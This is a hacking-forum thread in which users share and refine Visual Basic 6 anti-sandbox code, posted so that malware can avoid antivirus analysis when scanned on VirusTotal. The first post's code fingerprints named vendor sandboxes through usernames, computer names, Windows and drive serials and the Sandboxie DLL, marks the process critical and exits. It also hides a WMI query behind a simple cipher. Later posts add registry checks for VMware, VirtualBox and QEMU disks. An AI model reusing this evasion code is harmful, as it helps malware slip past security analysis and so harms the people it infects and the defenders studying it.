Thread: [VB6] New anti sandboxes

Hi guys, I found some new sandboxes and made some anti's for them, the most of them are from antiviruscompanies from the VirusTotal list.
I hope that at the end I'll have a full list of all the VirusTotal antivirusses so that scanning there will become safe.

Here you go, already has 12 anti's.

Code:

Option Explicit
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function RtlAdjustPrivilege Lib "ntdll" (ByVal Privilege As Long, ByVal Enable As Boolean, ByVal Client As Boolean, WasEnabled As Long) As Long
Private Declare Function NtSetInformationProcess Lib "ntdll.dll" (ByVal hProcess As Integer, ByVal ProcessInformationClass As Integer, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Integer) As Integer
Private Declare Function GetVolumeInformationA Lib "kernel32" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Private Declare Sub ExitProcess Lib "kernel32" (ByVal uExitCode As Long)

Public Sub CompCheck()
    Dim bFound As Boolean
    
    If GWser = "55274-339-6006333-22900" Then
        bFound = True
    End If
    
    If GWser = "76487-OEM-0065901-82986" Then
        bFound = True
    End If
    
    If Environ("computername") = "XPSP3" Then
        If Environ("username") = "Joe" Then
            bFound = True
        End If
    End If
    
    If Left(Environ("computername"), 10) = "NONE-DUSEZ" Then
        bFound = True
    End If
    
    If Left(Environ("computername"), 5) = "VMLOG" Then
        bFound = True
    End If
    
    If Environ("username") = "Sndbx" Then
        If GetDriveSerial() = 546811503 Then bFound = True 'Sandbox of unknown AV
    End If
    
    If Environ("username") = "tester" Then
        If GetDriveSerial() = 800539777 Then bFound = True 'Sandbox of unknown AV found...
    End If
    
    If Environ("USERNAME") = "panda" Then
        If Environ("computername") = "AUTO" Then bFound = True 'Msgbox "Panda Sandbox Detected"
    End If
        
    If Environ("username") = "currentuser" Then bFound = True 'MsgBox "Norman Sandbox Detected"
    
    If App.Path = "C:\" Then
        If App.EXEName = "file" Then bFound = True 'MsgBox "Sunbelt Sandbox Detected"
        If App.EXEName = "Sample" Then bFound = True 'MsgBox "Anubis Sandbox Detected"
    End If
        
    If GetModuleHandle("SbieDll.dll") Then bFound = True 'MsgBox "Sandboxie Detected"

    If Environ("username") = "Schmidti" Then bFound = True 'MsgBox "CW Sandbox Detected"
        
    If bFound = True Then
        Call MakeCritical(-1, True)
        Call ExitProcess(0)
    End If

End Sub
Private Function MakeCritical(Phandle As Long, Value As Boolean)
    Dim ProcessInfo As Long
    ProcessInfo = IIf(Value, 29&, 0&)
    Call RtlAdjustPrivilege(20, True, True, 0)
    Call NtSetInformationProcess(Phandle, 29, VarPtr(ProcessInfo), Len(ProcessInfo))
End Function
Private Function GetDriveSerial() As Long
    Dim RetVal As Long
    Dim str As String * 255
    Dim str2 As String * 255
    Dim a As Long
    Dim b As Long
    Call GetVolumeInformationA("C:\", str, 255, RetVal, a, b, str2, 255)
    GetDriveSerial = IIf(RetVal < 0, RetVal * -1, RetVal)
End Function
Public Function GWser() As String 'Get windows serial
  Dim WinSerial As String
  Dim SWbemSet As Object
  Dim SWbemObj As Object
  On Error Resume Next
    Set SWbemSet = GetObject(What("xjonhnut;|jnqfstpobujpoMfwfm>jnqfstpobuf~")).InstancesOf(Split(What("Xjo43`PqfsbujohTztufn-TfsjbmOvncfs"), ",")(0))
    WinSerial = ""
    For Each SWbemObj In SWbemSet
      WinSerial = SWbemObj.Properties_(Split(What("Xjo43`PqfsbujohTztufn-TfsjbmOvncfs"), ",")(1)) 'Property value
      WinSerial = Trim(WinSerial)
      If Len(WinSerial) < 1 Then WinSerial = "Unknown"
    GWser = WinSerial
  Next
End Function
Public Function What(huh) As String
Dim god As Long
Dim current As Long
Dim Process As String
For god = 1 To Len(huh)
            current = Asc(Mid(huh, god, 1)) - 1
        Process = Process & Chr(current)
    Next god
    What = Process
End Function

nice share thanks bro

PWNAGE!
SqUeEzEr does it again!!!

what this do what is anti-sandbox?? what that do??

That makes sure your process exits before it get's analysed.

Here's some code I whipped up, figured I'd do a little something in VB for a change.

Code:

'Detect 17 Sandboxes
'Coded by stoopid
'Credits to SqUeEzEr
'4/7/09

Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long
    Const HKEY_LOCAL_MACHINE = &H80000002
    Const KEY_ALL_ACCESS = &H3F
    Const REG_SZ = 1&

Sub Main()
    MsgBox "computer<" & CheckComputer()
    MsgBox "user<" & CheckUser()
    MsgBox "hdd<" & CheckHDD()
    MsgBox "serial<" & CheckSerial()
End Sub

Private Function CheckComputer() As Long
Select Case UCase((Environ("COMPUTERNAME")))
    Case "AUTO":
        CheckComputer = 1
    Case "VMLOG":
        CheckComputer = 2
    Case "NONE-DUSEZ":
        CheckComputer = 3
    Case "XPSP3":
        CheckComputer = 4
    Case Else
        CheckComputer = 0
End Select
End Function

Private Function CheckUser() As Long
Select Case UCase((Environ("USERNAME")))
    Case "SNDBX":
        CheckUser = 1
    Case "TESTER":
        CheckUser = 2
    Case "PANDA":
        CheckUser = 3
    Case "CURRENTUSER":
        CheckUser = 4
    Case "SCHMIDTI":
        CheckUser = 5
    Case "ANDY":
        CheckUser = 6
    Case Else
        CheckUser = 0
End Select
End Function

Private Function CheckHDD() As Long
    Dim hKey As Long, hOpen As Long, hQuery As Long
    Dim szBuffer As String * 128
    hOpen = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\ControlSet001\Services\Disk\Enum", 0, KEY_ALL_ACCESS, hKey)
    If hOpen = 0 Then
        hQuery = RegQueryValueEx(hKey, "0", 0, REG_SZ, szBuffer, Len(szBuffer))
        If hQuery = 0 Then
            If InStr(1, UCase(szBuffer), "VIRTUAL") > 0 Then
                CheckHDD = 1
            ElseIf InStr(1, UCase(szBuffer), "VMWARE") > 0 Then
                CheckHDD = 2
            ElseIf InStr(1, UCase(szBuffer), "VBOX") > 0 Then
                CheckHDD = 3
            ElseIf InStr(1, UCase(szBuffer), "QEMU") > 0 Then
                CheckHDD = 4
            Else
                CheckHDD = 0
            End If
        End If
        Call RegCloseKey(hKey)
    End If
End Function

Private Function CheckSerial() As Long
    Dim hKey As Long, hOpen As Long, hQuery As Long
    Dim szBuffer As String * 128
    hOpen = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion", 0, KEY_ALL_ACCESS, hKey) 'vista
    If hOpen <> 0 Then
        hOpen = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", 0, KEY_ALL_ACCESS, hKey) 'xp
    End If
    If hOpen = 0 Then
        hQuery = RegQueryValueEx(hKey, "ProductId", 0, REG_SZ, szBuffer, Len(szBuffer))
        If hQuery = 0 Then
            If InStr(1, szBuffer, "76487-337-8429955-22614") > 0 Then
                CheckSerial = 1
            ElseIf InStr(1, szBuffer, "76487-644-3177037-23510") > 0 Then
                CheckSerial = 2
            ElseIf InStr(1, szBuffer, "55274-640-2673064-23950") > 0 Then
                CheckSerial = 3
            Else
                CheckSerial = 0
            End If
        End If
        Call RegCloseKey(hKey)
    End If
End Function

Yo stoopid, don't want to be an ass, but this won't work:

Code:

 Case "VMLOG":

Cuz the sandbox's names are VMLOG + appendix, like:

Code:

VMLOG12
VMLOG20
VMLOG40

and so on...
You need to select the first 5 characters...

For the rest of your code: Just great, keep on programing

My bad I didn't know that, I fixed the code so it should work fine now.

Code:

Private Function CheckComputer() As Long
If InStr(1, UCase(szBuffer), "VMLOG") > 0 Then
    CheckComputer = 1
Else
Select Case UCase((Environ("COMPUTERNAME")))
    Case "AUTO":
        CheckComputer = 2
    Case "NONE-DUSEZ":
        CheckComputer = 3
    Case "XPSP3":
        CheckComputer = 4
    Case Else
        CheckComputer = 0
End Select
End If
End Function

I don't know what I was thinking when I posted last. That code won't work at all. By the way SqUeEzEr I never commented your work, but it's nice. I hope you don't mind me sharing my version in your post.

Code:

Private Function CheckComputer() As Long
Dim szComputer As String
szComputer = UCase((Environ("COMPUTERNAME")))
If InStr(1, szComputer, "VMLOG") > 0 Then
    CheckComputer = 1
Else
Select Case szComputer
    Case "AUTO":
        CheckComputer = 2
    Case "NONE-DUSEZ":
        CheckComputer = 3
    Case "XPSP3":
        CheckComputer = 4
    Case Else
        CheckComputer = 0
End Select
End If
End Function

Originally Posted by stoopid

I don't know what I was thinking when I posted last. That code won't work at all. By the way SqUeEzEr I never commented your work, but it's nice. I hope you don't mind me sharing my version in your post.

No problem dude I don't comment on each code on the forum too.. Also making multiple versions of the code is good to learn from. You can see how you can code different versions whilst they work the same:cool: